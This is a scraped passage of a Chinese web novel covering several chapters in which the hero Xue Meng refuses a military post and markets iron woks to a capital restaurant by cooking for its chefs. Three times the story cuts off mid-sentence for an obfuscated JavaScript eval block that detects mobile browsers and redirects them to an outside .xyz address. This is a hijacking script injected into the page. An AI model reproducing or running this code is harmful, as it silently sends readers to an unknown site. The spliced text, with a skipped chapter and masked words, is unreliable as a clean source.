然而薛猛却是果断摇头!
“不想!”
“为什么?!”
秦雄一怔,满脸难以置信。
普天之下,还有人不想封侯拜将,名留青史的?!
裴红玉也是双目圆瞪,她有时候真想把薛猛的脑子撬开看看,到底里面装的什么东西。
这种光宗耀祖的天大好事,他居然拒绝了?
薛猛拿起筷子,夹起一片鱼脍,放进嘴里缓缓咀嚼:“秦老将军,你看错人了。”
“我薛猛不过是一个乡野村夫,只想打打猎,捕捕鱼,采采药,做些小生意,老婆孩子热炕头。”
“像我这样胸无大志的人,上不得正经席面!”
“再者说,大虞不是已经跟北莽谈和了吗?哪里还有仗可以打?”
“就算成了偏将也不过是吃空饷!与其如此,还不如努力赚钱交税,毕竟明年的赋税肯定是要涨的!”
“如果秦老将军没什么别的事的话,我就先告辞了!我家里还有好多张嘴巴跟着吃饭呢,我得去忙生意了!”
说完,薛猛就要起身告辞。
临出门前,却听身后又响起秦雄充满遗憾的声音:“薛小兄弟!北莽并非真心议和,他们只不过是缺粮了,才暂时同意议和!”
“等他们拿到咱们大虞的粮食,马上就会翻脸不认人!”
“大虞和北莽之间,迟早还有一场大仗要打!”
“到那时,整个大虞将再无安宁之所!你的生意做得再大,赚的钱再多,一旦北莽铁骑兵临城下,你也不过是他们刀下待宰的肥羊!”
“北莽可不是山匪响马,他们有十万铁骑,不是你手底下区区几十个乡勇,就能抵挡的!”
“在此之前,我希望你慎重考虑一下,只要你愿意出山,随时可以来左将军府找我,只要老夫还活着,我这里永远有你一席之位!”
薛猛步子一顿。
秦雄这些话,薛猛其实都明白。
但他拒绝秦雄,自然也有自己的考量。
免却武举,直接成为左将军府的偏将,这对于平常武夫而言,自然是天大的好事!
但薛猛可不想受制于人。
前世当了一辈子的兵,总是服从命令,他早就腻了。
这辈子,他只想舒舒服服地过日子。
不想受任何人使唤!
而且就大虞这样的世道,官场之黑暗可见一斑,像他这样没背景的小卡拉米,还是别去瞎掺和了。
不然很容易和那些离奇消失的乞丐和难民一样,一夜之间人间蒸发。
与其投效他人,给狗皇帝卖命,倒不如自己偏安一隅,猥琐发育。
真要是北莽兵临城下了,薛猛相信,当那一天到来的时候,自己应该也已经发育完全了!
**大炮在手,我还害怕你北莽铁骑?
闹呢!
第87章 大虞皇帝怪癖多
薛猛头也不回,走出了雅间。
正准备下楼,却被一个尖细的嗓音叫住。
“薛公子留步!”
薛猛一怔扭头,见是先前陪同在秦雄身边的阴柔男子。
对方尖着嗓子,用男不男女不女的声音说道:“薛公子,贤妃娘娘这次能够赢得君心,晋升贤贵妃,你的功劳最大。”
“这是贤妃娘娘特地打赏你的二百两金宝。”
阴柔男子将一个精致的锦盒,递了过来。
薛猛伸手接过,好家伙,还挺压手。
二百两金子,按照大虞的汇率,换成银子得有二千两了!
自己这一趟进京,雷遇明给了三千五百两银票货款和护送费,现在又得了贤妃二百两黄金赏赐!
换算下来,自己这一趟赚了五千五百两银子!
这些钱,已经远超鱼胶本来的价值!
也不枉这一路奔波劳顿了!
“谢谢小哥,也替我谢谢贤妃娘娘!”
薛猛收下金子,对阴柔男子笑道。
“薛公子,你的话我会转告娘娘的,真不愧是射杀百年棕熊的英雄郎,真是英俊非凡呐~”
阴柔男子伸手轻轻抚摸了一下薛猛的脸颊,冲薛猛抛了个媚眼,随即扭着屁股走了:“希望咱们下次有缘再见。”
“???”
薛猛顿觉浑身上下鸡皮疙瘩掉一地。
不是,这哥们儿有什么毛病吧?
都是大老爷们儿,搞这一出?
裴红玉的声音,从一旁幽幽传来:“你小子真是艳福不浅,女人喜欢你也就罢了,连齐公公都喜欢你。”
“啥?公公?”
薛猛一怔,随即反应过来,难怪那哥们儿说话娘们儿唧唧的,原来是个太监!
也对哈,贤妃身边的人,不是宫女就是太监,也不可能有正常男人了。
寇芳捂嘴偷笑。
自家恩公居然被太监调戏了,果然长得太帅也有烦恼!
“不准笑!”
薛猛瞪了一眼寇芳,脸都红了。
被太监调戏了,可还行?
裴红玉抱着胳膊,冷声问道:“此间事了,接下来咱们去干嘛?”
“卖锅!”
薛猛这次进京,送鱼胶只是顺便,卖铁锅才是他的首要目的!
鱼胶再值钱,终究产量有限,还容易受到季节影响。
并且,鱼胶的炮制方法并不算难,一旦在京城传播开,保不齐哪天就被那些大药堂的高手破解了炮制方法。
到时候,市场上必然会涌现出许多仿制品,价格也会逐渐走低。
而铁锅,作为一种全新的优质炊具,耐高温,导热快,比陶锅、青铜锅更加节省柴火,而且可以制作更多的全新菜式!
一旦打开市场,必然会普及到千家万户!
正所谓,民以食为天!
别管是王孙贵胄,还是平头百姓,谁能不吃饭?
铁锅的市场前景,十分巨大,不亚于白酒!
再加上,薛猛掌握着跨时代的冶炼技术,别人就算把铁锅买回去,也仿造不了!
薛猛让裴红玉回驿馆把铁锅背过来。
而自己则带着湘儿、寇芳前往会仙楼后厨。
他打算,就以会仙楼为切入口,将铁锅推向大虞餐饮界!
“凭什么每次都是我背锅?”
裴红玉满脸幽怨,显然不乐意了。
从卧虎村到京城这么远,路上一直都是她背锅!
好不容易进了京城,本以为可以轻松下了,现在薛猛居然又让她去背锅!
薛猛挑眉道:“不然我带你来京城干啥?赶紧去,待会儿请你吃铁锅炒菜!”
薛猛之所以带裴红玉进京,就是图她力气大,背锅有劲儿!
因为铁艺坊也是第一次制造出铁锅,这锅自然比不上前世那些标准化生产的家用铁锅,小巧轻便。
这口铁锅又厚又重,而且尺寸很大。
类似前世农村土灶用的那种大铁锅,挺沉的!
“哼!”
裴红玉一甩头上红绳,扭着大腚下了楼。
薛猛这个王八蛋!
就知道欺负姑奶奶!
不过,看在能吃铁锅炒菜的份儿上,姑奶奶就暂且不跟他计较了!
在铁锅出世之前,裴红玉原本以为,薛猛的椒麻烤肉串,是世界上最美味的东西!
但自从尝过薛猛用铁锅炒的菜后,她才明白,什么才叫做人间至味!
薛猛这王八蛋虽然可恶,但是研究起吃的,那是真有一手!
裴红玉一想起铁锅炒菜的滋味,就忍不住狂咽了好几口唾沫。
……
裴红玉走后,薛猛带着湘儿、寇芳、赵鹰前往后厨。
作为京城最大的酒楼,会仙楼有东、西、南、北、中五座三层主楼!
各楼之间用飞桥栏杆连接,明暗相通,珠帘绣幕,灯烛晃耀。
楼内雅间包厢大小数百间,可同时容纳上千人在此饮宴。
会仙楼接待的客人来自**,既有京中权贵,又有各地豪商,口味驳杂。
为了满足这些食客的口腹之欲,会仙楼汇聚了各地名厨。
此外,还有各地名妓在楼内陪酒唱和,为客人表演攒劲的小节目。
大同婆姨。
扬州瘦马。
泰山姑子。
群英荟萃,应有尽有!
走在廊道之间,时不时能听见旁边的雅间包厢里传出靡靡之音。
听得薛猛忍不住侧目,也想一睹名妓风采。
“薛小爷,别看!会学坏的!”
湘儿连忙挡在薛猛眼前,不准他往雅间里看。
“放心吧,我对这些东西没兴趣。”
薛猛故作正经。
实则心里羡慕不已。
这些有钱人,是真会玩儿啊!
虽然薛猛现在也算是个土财主。
但跟京城这些真正的豪富比起来,还是差得太远了。
在会仙楼随便摆一桌,都得花上上百两银子。
若是再上点攒劲小节目,五百两就没了。
如果想再更进一步,和这里的姑娘发生点什么关系,没有百金之资,只怕是连姑娘的**都薅不到一根!
毕竟这里的女人,可都是来自各地的名妓。
放在任何一个州府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313051|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,都是当红花魁第一美人的级别!
卖艺不**,是她们的金字招牌。
“薛小爷,你千万要洁身自好,不要学坏。”
“曾经有位很有才气的大诗人,为了跟会仙楼的一位花魁共度良宵,不惜豪掷千金,落得个倾家荡产的下场!”
“你可千万别学他喔!”
对于湘儿的好心提醒,薛猛完全没听进去,反而更加来了兴趣:“这么刺激?!”
“能把大诗人迷成这样,那花魁得有多美?”
“回头我高低得找她切磋切磋!”
湘儿幽幽道:“那位花魁就是当今的贤贵妃!”
“啊???”
薛猛一怔。
低眉看着手里贤妃赏赐的一箱金子。
对这贤妃是愈发好奇了。
从市井花魁到后宫宠妃,这人生经历,也算是个奇女子了!
先前他用百年熊胆,治好了贤妃的怪病。
贤妃赏赐他射日弓、警恶刀、乌骓马,黄金五十两!
如今又送鱼胶进京,让贤妃在朝堂上大放异彩,晋升贤贵妃。
贤妃又赏赐了他黄金二百两。
二人也算是神交已久,缘分不浅。
只是还从来没亲眼见过那贤妃长什么样子!
之前在和盛堂,也是隔着重重纱帷,只能隐约看见一个身形。
“等等,你是说贤贵妃曾经是会仙楼的花魁?”
“那她是怎么和皇帝认识的?”
薛猛突然有了个大胆的想法:“难道,皇帝也来过会仙楼找乐子?”
一直沉默寡言的赵鹰,突然插话道:“薛小爷,这个我略知一二。”
“自开国以来,咱们大虞历经了九位皇帝,每一个都带点怪癖。”
“太宗喜**。”
“文帝喜孕母。”
“武帝好男风。”
“灵帝爱少女。”
“永帝爱童子。”
“……”
“到了当今圣上这儿……”
说到这里,赵鹰凑近薛猛耳边,压低了声音:“喜欢……打着吃。”
“打着吃?”
薛猛听得一脸懵逼。
赵鹰解释道:“宫里的秀女主动投怀送抱,他早就玩腻了!所以他喜欢扮作财主,偷偷跑到宫外,寻觅一些未经雕琢的璞玉!一步步地拿下,这就叫做‘打着吃’!”
“不光贤妃是花魁出身,宫里好些嫔妃,都是他这些年在外面‘打‘回去的!”
薛猛闻言,直呼牛掰!
这哥们儿真会玩儿啊!
湘儿噘嘴道:“身为皇帝,荒废社稷,把心思都花在了找女人身上!真是可悲!”
“但凡他把找女人的劲头,拿一半花在治理朝政上,大虞也不至于像现在这个样子。”
“嘘!不要命啦!”
赵鹰一把捂住湘儿的嘴,示意这个话题就此打住。
妄议天子,若是被有心人告发,可是要掉脑袋的!
“诶,你们干什么的?这里是后厨,吃饭在前边儿!”
不知不觉间,薛猛几人来到了会仙楼后厨,一个破锣嗓子叫住了他们。
第88章 名厨对铁锅的质疑
薛猛循声抬头看去,叫住他们的是个手拿菜刀的胖子,菜刀上还残留着肉丝。
应该是后厨切菜的墩子。
看岁数,也不大,大概十七八岁的样子。
薛猛礼貌询问:“这位小师傅,你们这里还招掌勺的厨子吗?我想应聘!”
“啥?就你,想做咱们会仙楼的厨子?”
小胖子瞪着一双绿豆眼,上下打量了薛猛一番。
“你省省吧!”
“看你这样,也不像做厨子的料。”
薛猛玩味笑道:“那你觉得我像干什么的?”
小胖子又定睛看了看薛猛,见薛猛一身玄衣,仪表堂堂,说道:“我看你是哪家的公子哥吧!”
“就算你是公子哥,后厨重地,我也不能让你进去!”
“不然,我这饭碗儿可就丢了!快走吧!”
公子哥?
薛猛闻言一怔,随即苦笑摇头:“小师傅,你猜错了,我不是什么公子哥,我真是来应聘厨子的!”
“别闹了!”
小胖子指着在灶台前忙得热火朝天的厨子:“你看看,咱们这儿当厨子的,哪个不是脑袋大脖子粗!”
“像你这细胳膊细腿的,别说当厨子了,切菜切一天下来,你这胳膊就得废!”
“死胖子!又在偷懒!是不是不想干了!”
就在这时,一个泼辣火爆的女声响起。
听到这声音,小胖子吓得浑身肥肉一哆嗦。
“哎呀,坏了,紫云郡主来了!”
“这位公子哥,你快走吧!别让我难做!”
小胖子急得满头大汗,连忙对薛猛打发道。
“死胖子,在跟谁说话呢!”
泼辣女声近在咫尺。
薛猛循声扭头看去。
只见一个约莫十六七岁年纪,一身紫衫,身材苗条的少女从厨房里走了出来。
少女双眼乌黑灵动,满脸精乖之气,唇珠饱满,眉梢微微上翘,看上去刁蛮又不失俏皮。
湘儿看见来人,连忙拽了拽薛猛衣袖:“薛小爷,这位是庆王府的紫云郡主,也是会仙楼的少东家!”
会仙楼能够在京城这样的卧虎藏龙之地,接纳八方来客,独占餐饮界鳌头,皆因背靠庆王府这棵大树。
无论是权贵还是富豪,都不敢在会仙楼**。
紫云郡主扫了薛猛几人一眼,乌黑眼眸充满警惕:“你们是什么人,擅闯我后厨重地想干什么?莫不是北莽的细作,又来**?”
会仙楼曾经出过一桩大案,北莽细作潜入后厨在菜里下毒。
毒**当朝几名大员。
从那之后,会仙楼对擅闯后厨之人,都格外警惕!
“王师傅,洪师傅,快出来!给我把这些可疑的家伙拿下,送官法办!”
“来啦!谁是北莽细作?逮住腿打断!”
几名厨子提着菜刀,气势汹汹冲了出来,对薛猛几人虎视眈眈。
见势不妙,小胖子连忙替薛猛解释道:“紫云郡主,您误会了!他们不是北莽细作,只是喝醉了的客人,误打误撞到了这儿,不是故意擅闯后厨的!”
说完,小胖子扭头冲薛猛使眼色:“还不快走!”
薛猛一怔,这小胖子,看上去凶巴巴的,实则心底还挺善良。
但薛猛并不打算就此离开,而是直接说明来意:“紫云郡主,我不是北莽细作,我是来应聘厨子的!”
“笑话!”
紫云郡主还没说什么,她身后几名厨子却先炸了锅。
京帮名厨王巍道:“会仙楼乃京城第一酒楼,接待的皆是权贵豪富。”
“不是什么阿猫阿狗,都能随便到会仙楼当厨子的!”
岭南名厨周康道:“没错!我们这里哪一个,不是各州府成名已久的名厨?”
“你一个毛头小子,嘴上连毛都没有,就想进来抢我们的饭碗?别说郡主不答应,我们都不答应!”
薛猛扫了一眼这些出言讽刺的厨子。
在大虞,厨子的地位并不高。
但这些人,脸上却都有一股睥睨视人的傲气。
显然并非等闲之辈。
紫云郡主看了看薛猛,冷声说道:“看你模样倒也不像坏人,本郡**且放你一马。”
“你走吧!我会仙楼,已经有十八位名厨坐镇,不需要再招厨子了!”
湘儿扭头对赵鹰压低声问道:“咱们不是来卖锅的吗?为什么薛小爷,非要应聘厨子?”
赵鹰眯了眯眼,也是看不透薛猛这葫芦里卖的是什么药。
“恩公这么做,定然有他的深意!”
寇芳始终相信,薛猛做什么都是对的!
“薛猛!姑奶奶把锅给你背来了,下次再让我背锅,我可不干了!”
就在这时,裴红玉背着一口铁锅,波涛汹涌地冲了进来。
紫云郡主看着身高八尺的裴红玉冲过来,先是一惊。
随即看到她背上背着的黑色大锅,乌黑眼眸圆瞪。
“这是何物?”
别说紫云郡主没见过那黑色大锅,便是会仙楼的十八位大厨,围着锅灶干了一辈子,也从来没见过这么古怪的锅!
薛猛轻笑道:“郡主,这是一口铁锅。”
紫云郡主纤眉轻皱:“铁锅?难不成是用铁做的锅?”
“不错!”
薛猛笑着点头。
京帮名厨王巍冷嗤道:“胡说八道!铁怎么能做锅?我只听说过陶锅、石锅、铜锅,还从来没听说过铁能做锅的!”
薛猛回道:“不管你信与不信,这口锅的确是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313052|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁打的!”
“并且,这口铁锅,比陶锅、石锅、铜锅导热性更强,更加耐用,做出来的菜有一种独特的锅气!”
“啥意思?”
一帮厨子全听蒙了。
薛猛这才反应过来,这是在古代,这些人根本就听不懂什么叫做导热性这种现代术语。
他无奈苦笑,只能用另一种通俗易懂的方式说道:“我的意思是,用这口铁锅炒菜,比铜锅更省柴火,做出来的菜更香。”
“而且这铁锅能够承受住高温爆炒,特别耐用,不会像陶锅、石锅一样,用一段时间就会烧裂!”
“真的假的?”
薛猛这番话,成功地勾起了紫云郡主的兴趣。
会仙楼的锅具,多是陶锅。
每个月都要报废许多炊具。
因为陶锅烧一段时间之后,就会出现裂纹,若是不小心碰上冷水,还会**。
若这铁锅,真如薛猛所说的那样神奇,会仙楼完全可以尝试引进!
“郡主,你别听他胡咧咧!我算是看出来了,这小子八成是个江湖骗子!你千万别上他的当!”
王巍瞥了眼黑色大锅,满脸不屑:“我王巍从业三十年,还从未听说过有铁锅做菜的先例!”
“这破锅做出来的菜,要是能好吃,我王巍的名字倒着写!”
“呸!你这大胖子,嘴怎么这么臭!信不信姑奶奶给你缝上!”
王巍如果只是骂薛猛,裴红玉都不带吭声的,说不定还鼓掌叫好呢。
但裴红玉决不允许有人诋毁铁锅炒菜!!
薛猛虽然是个浑蛋,但薛猛的铁锅炒菜,无疑就是裴红玉心中的白月光,不容任何人玷污!
“这位大师傅,既然你口口声声说我这铁锅做菜不好吃。”
薛猛虎目微眯,眼底精芒内蕴:“那不妨就借贵宝地,让我用这铁锅炒几道菜,到时大家都品鉴品鉴,再评价好坏不迟。”
王巍闻言,不屑冷笑:“哼!班门弄斧了不是?”
“就凭你一个无名小辈,也配做菜让我们这些大厨品鉴?美得你!”
“去去去!赶紧哪里凉快哪里待着!别耽误我们干活儿!”
说完,王巍和其余几名大厨又赶回各自的灶台,忙活了起来。
薛猛叹了口气。
自己费了半天口舌,没想到人家连展示的机会都不给。
罢了。
大不了换一家酒楼。
“走吧!”
薛猛拽了拽气鼓鼓的裴红玉,准备带着铁锅离开。
“慢着!”
就在这时,紫云郡主的声音响起。
“别说本郡主不给你机会,我就让你做一道菜!”
“若是这铁锅真能做出好菜!”
“我就同意你留下!”
第90章 味儿真足!
“这是怎么回事?”
“这小子难不成给郡主下**药了?!”
不光王巍看傻了眼。
整个后厨的人全都蒙了。
紫云郡主什么山珍海味没吃过?
大家伙还从来没见过她,如此狼吞虎咽的吃过东西!
那不就是一碗剩饭吗?
能有多好吃?
“香,真的好香!”
咀嚼着油润鲜香的炒饭,紫云郡主眼睛眯成了月牙,满脸幸福满足。
原本她只是看在薛猛长得帅的份儿上,才决定试一试这蛋炒饭。
但没想到,蛋炒饭刚一入口。
飘渺的鲜味和油香,便占据了口腔。
这一刻,被称为唤醒的瞬间,浓郁香气在口腔中层层绽放,味蕾获得了极大的愉悦。
咽下一口蛋炒饭,绵密浓烈,余香满口。
还想再吃第二口!
第三口!
第四口!
直到吃撑为止!
看着紫云郡主狼吞虎咽的模样,薛猛苦笑摇头。
在前世平平无奇的一碗蛋炒饭,居然让堂堂郡主吃成这样!
看来这郡主,也没吃过什么好玩意儿啊!
“郡主!给我留点!”
见紫云郡主吃得那么香,裴红玉再也忍不住了,她已经闻到了蛋炒饭的香味。
胃袋占领了大脑。
一把夺过盘子。
开始往嘴里扒拉。
“嗯哼~味儿真足!!!”
一盘子蛋炒饭,根本就不够两个人分。
眨眼功夫盘子就空了。
“……”
看见两个女人争抢蛋炒饭。
会仙楼十八位名厨,嘴巴张得都能塞进鸡蛋。
先前对薛猛冷嘲热讽的帮闲伙计,顿觉脸颊发烫,像被无形的手抽了巴掌。
事实胜于雄辩!
这东西好不好吃,一目了然!
“嘿!今儿我还真不信这个邪!这不就是一碗剩饭吗?能好吃到哪里去?”
总厨王巍眉头紧皱,走了过来,端起空盘子,用手指刮下盘子里残余的几粒剩饭,往嘴里这么一嗦啰。
嘶!
嘴里话还没说完,王巍顿时双目圆瞪,如遭雷击,愣在了原地。
眼前金光闪耀,仿佛打开了新世界的大门。
“王师傅,你怎么了?”
其他名厨见王巍愣神,纷纷凑了过来。
啪嗒。
王巍缓缓放下空盘子,转头看向薛猛。
看着这个年纪轻轻,不过二十郎当岁的小伙子,又看了看灶上黑乎乎的大铁锅,心里翻江倒海,百味杂陈。
目光震颤,嘴皮哆嗦。
浸淫厨道三十载,做到会仙楼首席大厨,他本以为自己已经足以傲视整个大虞烹饪界!
不成想,半路杀出个愣头青。
用一碗剩饭,俩笨鸡蛋,把他打服了!
想起先前自己对薛猛冷嘲热讽,还把食材收起来不给他用,王巍惭愧至极。
思虑片刻,王巍叹了口气,做出了一个决定。
摘下胳膊上象征会仙楼首席大厨的云纹袖章,来到薛猛面前,王巍弯腰躬身,双手将袖章递出。
“王师傅,你这是做什么?”
薛猛一怔。
王巍语气恭谨诚恳:“年轻人,你的厨艺远在我之上。”
“我王巍心服口服,自愿让贤!”
“这会仙楼首席大厨的位子,就交给你了!”
嚯!
此言一出,后厨哗然!
连首席大厨王巍都对薛猛心服口服,愿意让出首席宝座。
那碗蛋炒饭,到底有多好吃?
薛猛愣了愣,随即释怀一笑,没有接袖章,而是双手扶起王巍:“王师傅,你言重了。”
“并不是我的厨艺有多好,而是我的锅好!”
“我之前说过,我这口铁锅,耐高温,导热性强,不仅节省柴火,而且可以短时间内让油温迅速升高,非常适合爆炒!”
“而我刚才做到这道美食,就叫做蛋炒饭!”
“简单的食材,经过铁锅爆炒之后,会产生一种独特的香味,我称其为‘锅气’!”
“铁锅炒菜,不仅节省柴火,而且出餐快,口味独特,味道浓郁!”
“如果你也学会使用铁锅,相信以你的专业素养和烹饪经验,很快就能创造出比这蛋炒饭更美味的菜品!”
薛猛这一番话。
不仅把铁锅的优点和盘托出。
同时还不忘照顾王巍的面子。
王巍目光震颤,顿时心领神会,对薛猛愈发佩服。
不光是对薛猛的厨艺感到佩服,更佩服薛猛为人处世的城府。
年纪轻轻,就能如此谦逊,不骄不躁,此子绝非等闲之辈!
“敢问小师傅贵姓?”
“免贵姓薛,单名一个猛字。”
“薛师傅!请受弟子王巍一拜,今日王巍愿拜你为师,虔心学习铁锅炒菜技法!”
说着,王巍当场就要给薛猛下跪。
“使不得使不得!”
薛猛一惊,连忙扶住王巍。
“正所谓达者为师,薛师傅年纪虽轻,但却能够独创出铁锅爆炒技法,于厨道一途,足可开宗立派!!”
“我等也愿拜薛师傅为师!”
会仙楼十八位名厨,在王巍的带领下,齐齐跪拜在地,对薛猛五体投地。
看着这些跪倒在地的厨子,薛猛不由一怔。
这里不少人已经年过半百,却能够向他这个二十出头的年轻人,屈身下拜!
虽然他们之前都挺傲气,但在见到真正的好东西后,全都能屈能伸,不耻下问。
为了精进厨艺,不惜抛弃一切脸面!
难怪这帮人,能成为举国闻名的名厨呢!
“我……我也想拜师!”
切菜的小胖子也跟着跪了下来。
他感觉,这是一个千载难逢的机会!
“哎!也罢也罢!既然大家有心学艺,那我就勉为其难,传你们铁锅炒菜之法!”
薛猛故作为难,叹了口气。
实则内心腹黑坏笑!
嘿嘿!
拜我为师是吧?
想学铁锅炒菜是吧?
那总得每人买一口铁锅不是?
买了铁锅,还得买铁勺铁铲不是?
买完炊具,还得买炒菜菜谱不是?
卖课加卖锅!
一整套捆绑销售,这钱不就来了吗?
薛猛的如意算盘都快打冒烟了。
但表面上,还是维持着一副道貌岸然的模样。
裴红玉抹了抹嘴角的油,看着被众人叩拜敬仰的薛猛,心里美滋滋的。
连她自己也不知道,为什么看见薛猛被人质疑,自己会跟着着急。
看见薛猛被人认可,自己也会跟着开心。
见薛猛答应传授众人铁锅炒菜之法,紫云郡主喜出望外,眉开眼笑:“好!本郡主宣布,从今日起,薛猛薛师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313054|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅,便是我会仙楼特聘主厨,每月俸钱三百两!”
裴红玉闻言一惊。
不愧是京城最大的酒楼,出手就是阔绰!
每月三百两俸钱,比不少低阶官员的俸钱还要高,这也算是厨子的天花板了吧?
但薛猛却是不以为然。
一天天在厨房烟熏火燎的,每月才赚三百两。
要不是为了借会仙楼的名气和人流量,把铁锅推向市场!
他才不干这苦活呢!
当天晚上,薛猛一行人,就搬进了会仙楼的上等客房。
而湘儿、赵鹰等人,则准备动身回和盛堂了。
这趟出来,耽搁太久了。
和盛堂人手不够,他们必须赶快回去。
临别之前,薛猛特地用铁锅炒了一桌子菜,给湘儿他们践行。
也是借这个机会,让会仙楼的所有厨子,都尝尝铁锅炒菜的味道!
大虞没有辣椒、没有番茄、甚至没有大蒜。
前世的许多炒菜都没办法做。
但这依然难不倒曾经在部队炊事班“深造”过两年的薛猛。
只需稍微出手,便足以颠覆古人的味蕾!
韭菜炒鸡蛋!
泡仔姜炒牛肉丝!
酸萝卜炒鸡杂!
红烧肉!
清炒藕片!
铁锅炖大鱼!
一道道色香味俱全的菜肴,摆上餐桌。
平平无奇的食材,经过铁锅烹制,全都焕发新生!
就连以前从来没人敢吃的下水,经过铁锅爆炒,也都成了让人食欲大开的下饭美味!
一桌子菜,几乎被吃了个底朝天。
王巍抹了抹嘴角的油,忍不住对薛猛发问:“薛师傅,为什么这些很普通的食材,用你的铁锅做出来,味道会这么香呢?”
薛猛放下筷子,轻笑道:“说来也不难,铁锅导热性强,可以迅速让油升温,热油能够最大程度激发出食材的香味!”
“大火快炒还可以在短时间内让食材受热均匀,减少水分和鲜味的流失。”
“用铁锅炒绿叶菜,可以将青菜脆嫩的口感和清新的味道最大程度保留!”
“炒肉类时,铁锅可以让肉的表面快速焦化形成焦香,内部却保持鲜嫩多汁。”
“而这些都是传统的陶锅、青铜鼎无法做到的!”
“一口铁锅,便可煎炒炖炸,烹尽酸甜苦辣,人间百味!”
薛猛的这些话,听得王巍犹如醍醐灌顶,眼冒精光。
“真是听君一席话,胜读十年书!薛师傅,弟子受教了!”
不光王巍感觉收获良多。
一帮大厨,也全都用心记下薛猛的每句话。
亲自品尝过铁锅做的菜后,所有人都彻底被铁锅征服了!
陶锅和青铜鼎,只能煮、蒸、炖,想要爆炒、油炸非铁锅不能行!
身为大虞最顶尖的一批厨师,他们每个人都深知,铁锅一旦面世,必将彻底颠覆大虞餐饮格局!
学会使用铁锅,已经成了大家的必修课!
所有人都仿佛回到了刚学厨的时候,求知若渴。
拉着薛猛问东问西,恨不得把薛猛一口气榨干!
“纸上谈兵,不如身体力行!”
“大家问这么多,也没什么实际意义,要想学会使用铁锅,最好的方式,就是每人买一口铁锅,亲自实操!”
薛猛耐着性子回答了众人的问题后,终于露出了真面目。
第91章 与会仙楼达成双赢合作
“薛师傅这话在理,但问题是,市面上并没有铁锅卖啊!”
紫云郡主皱眉道。
在吃过薛猛的铁锅蛋炒饭后,紫云郡主就已经意识到铁锅是个好东西。
下午的时候,她就已经暗中派人满城找铁匠铺,看看能不能制造铁锅。
结果无一例外,所有铁匠一听制作铁锅的要求,全都无能为力。
薛猛等的就是紫云郡主这句话,当即开口说道:“实不相瞒,不才正好掌握着这铁锅的制作方法!”
“哦?”
紫云郡主闻言一惊。
据城里那些铁匠说,要造铁锅,需要把铁彻底融化成铁水。
而以大虞目前的冶炼技术,那是根本不可能做到的事情!
薛猛是怎么造出铁锅的?
难不成,他掌握着可以将铁融化成铁水的技术?
紫云郡主心绪纷飞,细思极恐!
这一刻,她方才意识到,眼前这个英俊的男人,绝不是区区一个厨子那么简单!
“薛师傅,你到底是何方神圣?你来我会仙楼,应该不只是应聘厨子这么简单吧?”
紫云郡主乌黑眼眸闪着睿智的光,薛猛一怔,看来自己的目的,已经被这位聪明的郡主察觉了!
“不错!我们确实不是来当厨子的!”
薛猛还没发话,裴红玉已经指着薛猛,开口道:“这位,便是我们益州蜀郡洪雅县卧虎村薛家薛大当家的!”
“我们此次进京,一来是为了给宫里的贤妃娘娘送鲟鱼胶,二来则是为了给铁锅找个好买主!”
一股脑把真相全部抖露出来,裴红玉心里终于舒坦了。
装了这么久的孙子,可把她憋坏了!
她是想不通,薛猛为啥要整那么多弯弯绕,卖锅直说不就行了吗?
“啊?原来你不是厨子?”
得知薛猛并非专业厨师,众人先是吃了一惊,随即更加佩服薛猛了。
并非专业厨子,却能够做出这一桌让各大名厨吃了都拍案叫绝的好菜!
这岂能不让人佩服?
“原来这几日在京城传得沸沸扬扬的稀世珍宝鲟鱼胶,便是出自薛师傅之手?”
紫云郡主乌黑眼眸闪烁,对薛猛又有了新的认识。
鲟鱼胶,她虽无缘得见。
但这铁锅的好处,她已经切身体会!
“薛师傅……哦不,现在应该叫薛掌柜了!”
“既然大家都是敞亮人,不妨打开天窗说亮话!你这铁锅我要了,你开个价吧!”
紫云郡主端起茶碗,轻呷一口,淡然说道。
薛猛朝裴红玉使了个眼色。
裴红玉会意,伸出五根手指,霸气开口道:“一口五百两,少一个子儿都不行!”
啥玩意儿?
五百两?
众人皆是一惊,这娘们儿可真敢狮子大开口啊!
哪怕会仙楼是京城最大的酒楼,以往用的铜锅、陶锅,也顶多十多两一口!
一口锅卖五百两!
只怕全天下都没这个先例!
紫云郡主却是稳稳放下茶碗,面色平静,口中淡淡吐出一个字:“可!”
“我要十八口铁锅!钱不是问题,你们最快什么时候能送来?”
啊?
众人一愣,没想到紫云郡主居然真的要买这么贵的锅!
而且一买就是十八口!
裴红玉也是屏住了呼吸。
一口铁锅五百两,十八口那可就是九千两银子啊!
薛猛神情淡然,不为所动。
五百两一口锅,是他早就定好的。
这个价格,对比起其他的炊具而言,确实贵!
但铁锅这东西,除了他薛猛以外,全天下没人能造出来!
